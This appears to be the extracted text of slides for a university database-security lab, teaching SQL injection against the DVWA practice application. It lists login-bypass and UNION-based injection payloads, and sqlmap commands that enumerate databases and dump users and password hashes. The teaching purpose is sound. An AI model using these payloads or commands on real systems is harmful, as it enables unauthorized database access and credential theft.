LAB - Chapter 9 - Database Security
LAB - Chapter 9 - Database Security
15/10/2024 2
1
15/10/2024
15/10/2024 3
Crack username/password
o SQL query:
SELECT * FROM Users WHERE Username='$username' AND
Password='$password‘
o Type:
$username = 1' or '1' = '1$password = 1' or '1' = '1
15/10/2024 4
2
15/10/2024
SQL query:
SELECT * FROM products WHERE id_product=$id_product
ex:
http://www.example.com/product.php?id=10
15/10/2024 5
15/10/2024 6
3
15/10/2024
15/10/2024 7
15/10/2024 8
4
15/10/2024
Basic Injection: 1
Always True Scenario: %' or '0'='0
Display Database Version :
o %' or 0=0 union select null, version() #
Display Database User:
o %' or 0=0 union select null, user() #
Display Database Name
o %' or 0=0 union select null, database() #
Display all tables in information_schema
o %' and 1=0 union select null, table_name from
information_schema.tables #
15/10/2024 9
15/10/2024 10
5
15/10/2024
15/10/2024 11
6
15/10/2024
15/10/2024 13
7
15/10/2024
Run sqlmap
o Obtain Database Management Username and Password. Syntax:
./sqlmap.py –u <ref> --cookie=<Coo> --string="Surname" --users
--password
Use Dictionary Attack? Y
Dictionary Location? <Press Enter>
o Obtain db_hacker Database Privileges. Syntax:
./sqlmap.py –u <ref> --cookie=<Coo> -U db_hacker –privileges
o Obtain a list of all databases.
./sqlmap.py –u <ref> --cookie=<Coo> --dbs
o Obtain "dvwa" tables and contents
./sqlmap.py –u <ref> --cookie=<Coo> -D dvwa --tables
o Obtain columns for table dvwa.users
./sqlmap.py –u <ref> -- cookie=<Coo> -D dvwa -T users --columns15
Run sqlmap
o Obtain Users and their Passwords from table dvwa.users. Syntax:
./sqlmap.py –u <ref> --cookie=<Coo> -D dvwa -T users -C
user,password --dump
Do you want to use the LIKE operator? Y
Recognize possible HASH values? Y
What's the dictionary location? <Press Enter>
Use common password suffixes? y
16
8
15/10/2024
15/10/2024 17
15/10/2024 18